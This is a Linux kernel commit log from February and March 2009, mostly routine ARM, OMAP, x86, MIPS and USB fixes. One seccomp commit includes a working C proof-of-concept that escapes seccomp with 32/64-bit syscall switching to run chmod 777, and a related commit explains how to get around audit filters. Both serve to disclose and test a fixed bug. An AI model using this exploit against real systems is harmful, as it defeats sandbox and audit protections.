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2009-03-12[ARM] update mach-typesRussell King
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-12[ARM] 5421/1: ftrace: fix crash due to tracing of __naked functionsUwe Kleine-König
This is a fix for the following crash observed in 2.6.29-rc3: http://lkml.org/lkml/2009/1/29/150 On ARM it doesn't make sense to trace a naked function because then mcount is called without stack and frame pointer being set up and there is no chance to restore the lr register to the value before mcount was called. Reported-by: Matthias Kaehlcke <matthias@kaehlcke.net> Tested-by: Matthias Kaehlcke <matthias@kaehlcke.net> Cc: Abhishek Sagar <sagar.abhishek@gmail.com> Cc: Steven Rostedt <rostedt@home.goodmis.org> Cc: Ingo Molnar <mingo@elte.hu> Signed-off-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-12Merge branch 'for-rmk' of git://git.pengutronix.de/git/imx/linux-2.6Russell King
2009-03-09Merge branch 'omap-fixes' of ↵Russell King
git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap-2.6
2009-03-06Merge branch 's3c-fixes' of git://aeryn.fluff.org.uk/bjdooks/linuxRussell King
2009-03-06Merge branch 'master' of ↵Ben Dooks
git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6 into s3c-fixes
2009-03-06MX1 fix includeDarius Augulis
Includes missed irqs.h in devices.c and mx1ads.c. Signed-off-by: Darius Augulis <augulis.darius@gmail.com> Signed-off-by: Sascha Hauer <s.hauer@pengutronix.de>
2009-03-05[ARM] 5419/1: ep93xx: fix build warnings about struct i2c_board_infoHartley Sweeten
Fix build warnings due to struct i2c_board_info in <mach/platform.h> Patch "5311/1: add core support for built in i2c bus" is causing 11 of 39 the build warnings with Kautobuild for ep93xx_defconfig on kernel 2.6.29-rc5-git4. This patch fixes it. Signed-off-by: H Hartley Sweeten <hsweeten@visionengravers.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-05[ARM] 5418/1: restore lr before leaving mcountUwe Kleine-König
gcc seems to expect that lr isn't clobbered by mcount, because for a function starting with: static int func(void) { void *ra = __builtin_return_address(0); printk(KERN_EMERG "__builtin_return_address(0) = %pS\n", ra) ... the following assembler is generated by gcc 4.3.2: 0: e1a0c00d mov ip, sp 4: e92dd810 push {r4, fp, ip, lr, pc} 8: e24cb004 sub fp, ip, #4 ; 0x4 c: ebfffffe bl 0 <mcount> 10: e59f0034 ldr r0, [pc, #52] 14: e1a0100e mov r1, lr 18: ebfffffe bl 0 <printk> Without this patch obviously __builtin_return_address(0) yields func+0x10 instead of the return address of the caller. Note this patch fixes a similar issue for the routines used with dynamic ftrace even though this isn't currently selectable for ARM. Cc: Abhishek Sagar <sagar.abhishek@gmail.com> Cc: Steven Rostedt <rostedt@goodmis.org> Cc: Ingo Molnar <mingo@elte.hu> Signed-off-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-05Merge branch 'for-rmk' of git://git.marvell.com/orionRussell King
2009-03-04ARM: OMAP: board-omap3beagle: set i2c-3 to 100kHzKoen Kooi
Changing it do 100kHz is needed to make more devices works properly. Controlling the TI DLP Pico projector[1] doesn't work properly at 400kHz, 100kHz and lower work fine. EDID readout is unaffected by this change. [1] http://focus.ti.com/dlpdmd/docs/dlpdiscovery.tsp?sectionId=60&tabId=2234 Signed-off-by: Koen Kooi <koen@beagleboard.org> Acked-by: David Brownell <dbrownell@users.sourceforge.net> Signed-off-by: Tony Lindgren <tony@atomide.com>
2009-03-04ARM: OMAP: Allow I2C bus driver to be compiled as a moduleAaro Koskinen
Fixes a linker error when OMAP I2C bus driver is compiled as a module: ERROR: "i2c_register_board_info" [arch/arm/plat-omap/i2c.ko] undefined! The I2C utility functions used for board initialization should be always built-in. Signed-off-by: Aaro Koskinen <Aaro.Koskinen@nokia.com> Acked-by: Jarkko Nikula <jarkko.nikula@nokia.com> Signed-off-by: Tony Lindgren <tony@atomide.com>
2009-03-04ARM: OMAP: sched_clock() correctedAaro Koskinen
After my OMAP3 board has been running for a while, I'm seeing weird latency traces like this: sh-1574 0d.h2 153us : do_timer (tick_do_update_jiffies64) sh-1574 0d.h2 153us : update_wall_time (do_timer) sh-1574 0d.h2 153us!: omap_32k_read (update_wall_time) sh-1574 0d.h2 1883us : update_xtime_cache (update_wall_time) sh-1574 0d.h2 1883us : clocksource_get_next (update_wall_time) sh-1574 0d.h2 1883us+: _spin_lock_irqsave (clocksource_get_next) and after a while: sh-17818 0d.h3 153us : do_timer (tick_do_update_jiffies64) sh-17818 0d.h3 153us : update_wall_time (do_timer) sh-17818 0d.h3 153us!: omap_32k_read (update_wall_time) sh-17818 0d.h3 1915us : update_xtime_cache (update_wall_time) sh-17818 0d.h3 1915us+: clocksource_get_next (update_wall_time) sh-17818 0d.h3 1945us : _spin_lock_irqsave (clocksource_get_next) Turns out that sched_clock() is using cyc2ns(), which returns NTP adjusted time. The sched_clock() frequency should not be adjusted. The patch deletes omap_32k_ticks_to_nsecs() and rewrites sched_clock() to do the conversion using the constant multiplier. Signed-off-by: Aaro Koskinen <Aaro.Koskinen@nokia.com> Signed-off-by: Tony Lindgren <tony@atomide.com>
2009-03-04ARM: OMAP: Fix compile error if pm.h is includedDavid Brownell
Change the error to a warning. Signed-off-by: David Brownell <dbrownell@users.sourceforge.net> Signed-off-by: Tony Lindgren <tony@atomide.com>
2009-03-04powerpc: Run sbc610 USB fixup code only on the appropriate platform.Tony Breeds
commit a969e76a7101bf5f3d369563df1ca1253dd6131b (powerpc: Correct USB support for GE Fanuc SBC610) introduced a fixup for NEC usb controllers. This fixup should only run on GEF SBC610 boards. Fixes Fedora bug #486511. (https://bugzilla.redhat.com/show_bug.cgi?id=486511) Signed-off-by: Tony Breeds <tony@bakeyournoodle.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-04Merge git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6Linus Torvalds
* git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: ixp4xx - Fix qmgr_request_queue build failure crypto: api - Fix module load deadlock with fallback algorithms
2009-03-03[ARM] orion5x: pass dram mbus data to xor driverSaeed Bishara
This data should be passed to the xor driver in order to initialize the address decoding windows of the xor unit. without this patch, the self tests of the xor will fail unless the address decoding windows were initialized by the boot loader. Signed-off-by: Saeed Bishara <saeed@marvell.com> Signed-off-by: Nicolas Pitre <nico@marvell.com>
2009-03-03Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86: oprofile: don't set counter width from cpuid on Core2 x86: fix init_memory_mapping() to handle small ranges
2009-03-03Merge branch 'tracing/mmiotrace' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86 mmiotrace: fix race with release_kmmio_fault_page() x86 mmiotrace: improve handling of secondary faults x86 mmiotrace: split set_page_presence() x86 mmiotrace: fix save/restore page table state x86 mmiotrace: WARN_ONCE if dis/arming a page fails x86: add far read test to testmmiotrace x86: count errors in testmmiotrace.ko
2009-03-03Merge master.kernel.org:/home/rmk/linux-2.6-armLinus Torvalds
* master.kernel.org:/home/rmk/linux-2.6-arm: [ARM] fix lots of ARM __devexit sillyness [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU [ARM] 5416/1: Use unused address in v6_early_abort [ARM] 5411/1: S3C64XX: Fix EINT unmask [ARM] at91: fix for Atmel AT91 powersaving [ARM] RiscPC: Fix etherh oops
2009-03-03[ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMUCatalin Marinas
The cacheid_init() function assumes that if cpu_architecture() returns 7, the caches are VIPT_NONALIASING. The cpu_architecture() function returns the version of the supported MMU features (e.g. TEX remapping) but it doesn't make any assumptions about the cache type. The patch adds the checking of the Cache Type Register for the ARMv7 format. Signed-off-by: Catalin Marinas <catalin.marinas@arm.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-03[ARM] 5416/1: Use unused address in v6_early_abortSeth Forshee
The target of the strex instruction to clear the exlusive monitor is currently the top of the stack. If the store succeeeds this corrupts r0 in pt_regs. Use the next stack location instead of the current one to prevent any chance of corrupting an in-use address. Signed-off-by: Seth Forshee <seth.forshee@gmail.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
2009-03-03x86: oprofile: don't set counter width from cpuid on Core2Tim Blechmann
Impact: fix stuck NMIs and non-working oprofile on certain CPUs Resetting the counter width of the performance counters on Intel's Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode. This should fix bug #12395: http://bugzilla.kernel.org/show_bug.cgi?id=12395 Signed-off-by: Tim Blechmann <tim@klingt.org> Signed-off-by: Robert Richter <robert.richter@amd.com> LKML-Reference: <20090303100412.GC10085@erda.amd.com> Cc: <stable@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03x86: fix init_memory_mapping() to handle small rangesYinghai Lu
Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range... Reported-by: Ying Huang <ying.huang@intel.com> Signed-off-by: Yinghai Lu <yinghai@kernel.org> Cc: Brian Maly <bmaly@redhat.com> LKML-Reference: <49ACDDED.1060508@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: fix warning in io_mapping_map_wc() x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86-64: syscall-audit: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details. Signed-off-by: Roland McGrath <roland@redhat.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86 mmiotrace: fix race with release_kmmio_fault_page()Pekka Paalanen
There was a theoretical possibility to a race between arming a page in post_kmmio_handler() and disarming the page in release_kmmio_fault_page(): cpu0 cpu1 ------------------------------------------------------------------ mmiotrace shutdown enter release_kmmio_fault_page fault on the page disarm the page disarm the page handle the MMIO access re-arm the page put the page on release list remove_kmmio_fault_pages() fault on the page page not known to mmiotrace fall back to do_page_fault() *KABOOM* (This scenario also shows the double disarm case which is allowed.) Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking if the page is being released from mmiotrace. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: improve handling of secondary faultsStuart Bennett
Upgrade some kmmio.c debug messages to warnings. Allow secondary faults on probed pages to fall through, and only log secondary faults that are not due to non-present pages. Patch edited by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: split set_page_presence()Pekka Paalanen
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sat, 28 Feb 2009 21:34:59 +0200 Split set_page_presence() in kmmio.c into two more functions set_pmd_presence() and set_pte_presence(). Purely code reorganization, no functional changes. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: fix save/restore page table statePekka Paalanen
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sun, 22 Feb 2009 20:02:43 +0200 Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the possibility, that the page was not present when it was armed. Make arm_kmmio_fault_page() store the previous page presence in struct kmmio_fault_page and use it on disarm. This patch was originally written by Stuart Bennett, but Pekka Paalanen rewrote it a little different. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: WARN_ONCE if dis/arming a page failsStuart Bennett
Print a full warning once, if arming or disarming a page fails. Also, if initial arming fails, do not handle the page further. This avoids the possibility of a page failing to arm and then later claiming to have handled any fault on that page. WARN_ONCE added by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86: add far read test to testmmiotracePekka Paalanen
Apparently pages far into an ioremapped region might not actually be mapped during ioremap(). Add an optional read test to try to trigger a multiply faulting MMIO access. Also add more messages to the kernel log to help debugging. This patch is based on a patch suggested by Stuart Bennett <stuart@freedesktop.org> who discovered bugs in mmiotrace related to normal kernel space faults. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86: count errors in testmmiotrace.koPekka Paalanen
Check the read values against the written values in the MMIO read/write test. This test shows if the given MMIO test area really works as memory, which is a prerequisite for a successful mmiotrace test. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-28x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()Ingo Molnar
Impact: build fix Theodore Ts reported that the i915 driver needs these symbols: ERROR: "pgprot_writecombine" [drivers/gpu/drm/i915/i915.ko] undefined! ERROR: "is_io_mapping_possible" [drivers/gpu/drm/i915/i915.ko] undefined! Reported-by: Theodore Ts'o <tytso@mit.edu> wrote: Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-28Merge git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb-2.6Linus Torvalds
* git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb-2.6: (21 commits) USB: musb: fix srp sysfs entry deletion USB: musb: resume suspended root hub on disconnect USB: musb: use right poll limit for low speed devices USB: musb: be careful with 64K+ transfer lengths, host side USB: musb: fix data toggle saving with shared FIFO USB: musb: host endpoint_disable() oops fixes USB: musb: fix urb_dequeue() method USB: musb: fix musb_host_tx() for shared endpoint FIFO USB: musb: be careful with 64K+ transfer lengths (gadget side) usb: musb: make Davinci *work* in mainline USB: usb_get_string should check the descriptor type USB: gadget: fix build error in omap_apollon_2420_defconfig USB: g_file_storage: automatically disable stalls under Atmel USB: usb-storage: add IGNORE_RESIDUE flag for Genesys Logic adapters USB: Quirk for Hummingbird huc56s / Conexant ACM modem USB: serial: add support for second revision of Ericsson F3507G WWAN card USB: cdc-acm: add usb id for motomagx phones USB: option: add BenQ 3g modem information usb: gadget: obex: select correct ep descriptors USB: EHCI: slow down ITD reuse ...
2009-02-28Merge branch 'upstream' of git://ftp.linux-mips.org/pub/scm/upstream-linusLinus Torvalds
* 'upstream' of git://ftp.linux-mips.org/pub/scm/upstream-linus: Revert "MIPS: Print irq handler description" MIPS: CVE-2009-0029: Enable syscall wrappers. MIPS: Alchemy: In plat_time_init() t reaches -1, tested: 0 MIPS: Only allow Cavium OCTEON to be configured for boards that support it
2009-02-28Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86: enable DMAR by default xen: disable interrupts early, as start_kernel expects gpu/drm, x86, PAT: io_mapping_create_wc and resource_size_t gpu/drm, x86, PAT: Handle io_mapping_create_wc() errors in a clean way x86, Voyager: fix compile by lifting the degeneracy of phys_cpu_present_map x86, doc: fix references to Documentation/x86/i386/boot.txt
2009-02-28Merge branch 'sh/for-2.6.29' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/lethal/sh-2.6 * 'sh/for-2.6.29' of git://git.kernel.org/pub/scm/linux/kernel/git/lethal/sh-2.6: sh: ap325rxa: Revert ov772x support. serial: sh-sci: fix overrun error handling for SH7785 SCIF. sh: Storage class should be before const qualifier
2009-02-27usb: musb: make Davinci *work* in mainlineDavid Brownell
Now that the musb build fixes for DaVinci got merged (RC3?), kick in the other bits needed to get it finally *working* in mainline: - Use clk_enable()/clk_disable() ... the "always enable USB clocks" code this originally relied on has since been removed. - Initialize the USB device only after the relevant I2C GPIOs are available, so the host side can properly enable VBUS. - Tweak init sequencing to cope with mainline's relatively late init of the I2C system bus for power switches, transceivers, and so on. Sanity tested on DM6664 EVM for host and peripheral modes; that system won't boot with CONFIG_PM enabled, so OTG can't yet be tested. Also verified on OMAP3. (Unrelated: correct the MODULE_PARM_DESC spelling of musb_debug.) Signed-off-by: David Brownell <dbrownell@users.sourceforge.net> Cc: Felipe Balbi <me@felipebalbi.com> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
2009-02-27Revert "MIPS: Print irq handler description"Ralf Baechle
This reverts commit 558d1de8ba9ebb1cc3f3062f1371b9330772164f.
2009-02-27MIPS: CVE-2009-0029: Enable syscall wrappers.Ralf Baechle
Thanks to David Daney helping with debugging and testing. Signed-off-by: Ralf Baechle <ralf@linux-mips.org> Signed-off-by: David Daney <ddaney@caviumnetworks.com>
2009-02-27MIPS: Alchemy: In plat_time_init() t reaches -1, tested: 0Roel Kluin
With a postfix decrement t reaches -1 rather than 0, so the fall-back will not occur. Signed-off-by: Roel Kluin <roel.kluin@gmail.com> Cc: mano@roarinelk.homelinux.net Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-02-27MIPS: Only allow Cavium OCTEON to be configured for boards that support itDavid Daney
Signed-off-by: David Daney <ddaney@caviumnetworks.com> CC: Atsushi Nemoto <anemo@mba.ocn.ne.jp> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-02-27[ARM] S3C64XX: Fix s3c64xx_setrate_clksrcWerner Almesberger
Some of the rate selection logic in s3c64xx_setrate_clksrc uses what appears to be parent clock selection logic. This patch corrects it. I also added a check for overly large dividers to prevent them from changing unrelated clocks. Signed-off-by: Werner Almesberger <werner@openmoko.org> Signed-off-by: Ben Dooks <ben-linux@fluff.org>
2009-02-27[ARM] S3C64XX: sparse warnings in arch/arm/plat-s3c64xx/irq.cBen Dooks
Fix the following sparse warnings in arch/arm/plat-s3c64xx/irq.c arch/arm/plat-s3c64xx/irq.c:210:23: warning: incorrect type in initializer (different address spaces) arch/arm/plat-s3c64xx/irq.c:210:23: expected void *reg_base arch/arm/plat-s3c64xx/irq.c:210:23: got void [noderef] <asn:2>*regs arch/arm/plat-s3c64xx/irq.c:215:2: warning: incorrect type in argument 1 (different address spaces) arch/arm/plat-s3c64xx/irq.c:215:2: expected void const volatile [noderef] <asn:2>*<noident> arch/arm/plat-s3c64xx/irq.c:215:2: got void * Signed-off-by: Ben Dooks <ben-linux@fluff.org>
2009-02-27[ARM] S3C64XX: sparse warnings in arch/arm/plat-s3c64xx/s3c6400-clock.cBen Dooks
Fix the following sparse warnings in s3c6400-clock.c: 39:12: warning: symbol 'clk_ext_xtal_mux' was not declared. Should it be static? 66:12: warning: symbol 'clk_fout_apll' was not declared. Should it be static? 81:19: warning: symbol 'clk_mout_apll' was not declared. Should it be static? 91:12: warning: symbol 'clk_fout_epll' was not declared. Should it be static? 106:19: warning: symbol 'clk_mout_epll' was not declared. Should it be static? 126:19: warning: symbol 'clk_mout_mpll' was not declared. Should it be static? 148:12: warning: symbol 'clk_dout_mpll' was not declared. Should it be static? Signed-off-by: Ben Dooks <ben-linux@fluff.org>
2009-02-27sh: ap325rxa: Revert ov772x support.Paul Mundt
This change depends on some v4l changes that have been pushed back to 2.6.30, so drop this and fall back on the old soc_camera code until then. Reported-by: Nobuhiro Iwamatsu <iwamatsu.nobuhiro@renesas.com> Acked-by: Kuninori Morimoto <morimoto.kuninori@renesas.com> Signed-off-by: Paul Mundt <lethal@linux-sh.org>
2009-02-26[ARM] S3C64XX: Fix USB host clock mux listBen Dooks
The clock list for the USB host bus clock was in the wrong order, move clk_48m to position 0. Signed-off-by: Ben Dooks <ben@simtec.co.uk> Signed-off-by: Ben Dooks <ben-linux@fluff.org>
2009-02-26[ARM] S3C64XX: Fix name of USB host clock.Ben Dooks
The usb-host-bus clock should be named usb-bus-host. Signed-off-by: Ben Dooks <ben@simtec.co.uk> Signed-off-by: Ben Dooks <ben-linux@fluff.org>